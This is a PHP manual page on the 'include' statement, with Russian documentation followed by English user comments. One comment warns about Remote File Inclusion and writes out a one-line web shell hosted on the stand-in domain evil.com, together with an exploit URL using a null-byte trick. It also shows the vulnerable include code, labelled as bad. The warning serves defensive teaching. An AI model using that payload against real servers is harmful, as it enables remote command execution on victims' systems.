This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.(PHP 4, PHP 5, PHP 7, PHP 8)
Выражение include включает и оценивает код файла как PHP-код.
Документация текущего раздела также относится к выражению require.
Файлы включаются на основе заданного пути к файлу или, если путь не указали,
на основе путей в директиве include_path.
Перед выдачей ошибки выражение include проверит директорию текущего скрипта,
в который включается файл, и текущую рабочую директорию, если PHP не нашёл файл
в списке путей директивы include_path.
Выражение include выдаст ошибку уровня E_WARNING,
если не найдёт файл; поведение отличается от выражения require,
которое выдаст фатальную ошибку E_ERROR.
Обратите внимание, при недоступности файла для чтения оба выражения выдадут дополнительную ошибку
уровня E_WARNING перед выдачей окончательной
ошибки уровня E_WARNING выражением include
или ошибки уровня E_ERROR выражением require,
которые возникают, когда PHP не находит файл.
PHP проигнорирует директиву include_path,
если указали абсолютный путь (который начинается с буквы диска,
или с обратного слеша \ в Windows и с прямого слеша /
в Unix- и Linux-системах) или путь относительно текущей директории (который начинается
с символа . или символов ..).
Например, парсер будет искать запрошенный файл в родительской директории,
если название файла начинается с ../.
Документация к директиве include_path подробнее рассказывает об обработке языком PHP включаемых файлов и путей.
После включения код включаемого файла наследует ту же область видимости переменных, что и строка, на которой включили файл. Переменные, которые доступны на этой строке во включающем файле, будут также доступны во включаемом файле. Однако функции и классы, которые объявили во включаемом файле, получат глобальную область видимости.
Пример #1 Простой пример подключения файла выражением include
vars.php
<?php
$color = 'зелёное';
$fruit = 'яблоко';
?>
test.php
<?php
echo "Одно $color $fruit"; // Одно
include 'vars.php';
echo "Одно $color $fruit"; // Одно зелёное яблоко
?>Внутри функции, в которой включают файл, код включаемого файла ведёт себя так, как будто его определили внутри функции; код последует области видимости переменных функции, в которую включается. Исключение к этому правилу — магические константы, которые выполняются парсером перед включением.
Пример #2 Включение внутри функции
<?php
function foo()
{
global $color;
include 'vars.php';
echo "Одно $color $fruit";
}
/**
* Файл vars.php следует области видимости функции foo(),
* поэтому переменная $fruit недоступна за пределами области видимости функции.
* Переменная $color — доступна, поскольку её объявили глобальной
*/
foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное
?>После включения файла разбор переходит из режима PHP-кода в режим HTML-разметки в начале и возобновляется в конце включаемого файла. Поэтому код внутри включаемого файла, который требуется выполнить как PHP-код, оборачивают в корректные теги начала и конца PHP-кода.
PHP разрешает вместо локального пути указывать файлы для включения по URL-адресу, если разрешили работу URL-обёрток с include-выражениями. Файлы включают по HTTP-протоколу или через другие обработчики, которые поддерживает язык. Список протоколов, которые поддерживаются PHP, приводит страница «Протоколы и обёртки». Переменные передают в файл, который включается с удалённого сервера, в строке запроса URL-адреса аналогично передаче аргументов методом GET по протоколу HTTP, если целевой удалённый сервер интерпретирует целевой файл как PHP-код. Включение файла с удалённого сервера отличается от включения файла, который наследует родительскую область видимости файла, в который включается; скрипт выполняется на удалённом сервере, а результат затем включается в локальный скрипт.
Пример #3
Пример включения вывода, который сгенерировал скрипт удалённого сервера,
выражением include через HTTP-запрос
<?php
/**
* В примере предполагается, что адрес www.example.com настроили на обработку
* файлов с расширением .php, но не .txt. Кроме того, «Сработает» здесь означает, что переменные
* $foo и $bar доступны внутри включаемого файла, и значения переменных определили при обработке переменных GET-запроса
*/
// Не сработает; файл file.txt не обрабатывается адресом www.example.com как PHP-код
include 'http://www.example.com/file.txt?foo=1&bar=2';
// Не сработает; включающий скрипт будет искать файл 'file.php?foo=1&bar=2'
// в локальной файловой системе
include 'file.php?foo=1&bar=2';
// Сработает: удалённому скрипту будут доступны переменные $foo и $bar
include 'http://www.example.com/file.php?foo=1&bar=2';
?>Локальный сервер ожидает, что удалённый сервер создаст и вернёт допустимый PHP-код, поскольку скрипт обрабатывается на локальном сервере, даже если удалённый сервер работает на PHP и обработал файл на основе расширения. Вывод только результата обработки файла на удалённом сервере лучше получить вызовом функции readfile(), а при включении PHP-кода из файла на удалённом сервере потребуется соблюдать повышенную осторожность и проверять, чтобы удалённый сервер создал корректный и безопасный код.
Раздел «Удалённые файлы» и описания функций fopen() и file() дают дополнительную информацию.
Обработка значений, которые возвращает выражение включения: при ошибке выражение
include возвращает значение FALSE и выдаёт предупреждение.
Успешные включения возвращают значение 1, если только значение возврата
не переопределили включаемым файлом. Допускается выполнять инструкцию return
внутри включаемого файла, чтобы завершить процесс выполнения
во включаемом файле и вернуться к выполнению родительского файла. Из включаемых файлов
также доступен возврат значения. Значение вызова включения получают так же, как
если бы вызвали функцию. Невозможно получить значение вызова включения
удалённого файла, если только вывод удалённого файла не содержит
корректные теги начала и конца PHP-кода,
как и с локальными файлами. Переменные, которые объявили внутри PHP-тегов,
включатся в текущий скрипт в месте включения файла.
Поскольку выражение include относится к языковым конструкциям,
круглые скобки вокруг аргумента необязательны. При сравнении
значения, которое возвращает выражение включения файла, соблюдают осторожность.
Пример #4 Сравнение значения, которое возвращает выражение include
<?php
// Не сработает, PHP интерпретирует выражение как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}
// Cработает
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
Пример #5
Пример работы выражения include с инструкцией return
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // выведет 'PHP'
$bar = include 'noreturn.php';
echo $bar; // выведет 1
?>
Значение переменной $bar равно 1, поскольку
инструкция успешно включила файл. Обратите внимание на разницу между приведёнными примерами.
В первом записали return внутри включаемого файла, тогда как во втором — нет.
Выражение включения возвращает значение false и возникает ошибка уровня E_WARNING,
если файл невозможно включить.
Главный файл получит доступ к вызову функций, которые определили во включаемом файле, независимо от того, объявили функции до инструкции return во включаемом файле или после. PHP выдаст фатальную ошибку при повторном включении файла с определениями функций, поскольку функции получили определение при первом включении. Лучше включить файл выражением include_once, а не проверять, включался ли файл прежде.
Другой путь «включить» PHP-файл в переменную — захватить
вывод функциями контроля вывода
вместе с выражением include. Например:
Пример #6 Буферизация вывода и включение PHP-файла в строку
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename)
{
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}
?>Обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в файле php.ini, чтобы включать файлы в скрипты автоматически.
Замечание:
Конструкцию нельзя вызывать как функцию переменной или передавать как именованный аргумент, поскольку это языковая конструкция, а не функция.
Дополнительную информацию дают описания функций require, require_once, include_once, get_included_files(), readfile(), virtual() и выражения include_path.
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
<?php
# index.php
define('what', 'ever');
include 'includeFile.php';
# includeFile.php
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
<?php
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . '/../src/includeFile.php';
?>
Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec($_GET['command']);?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo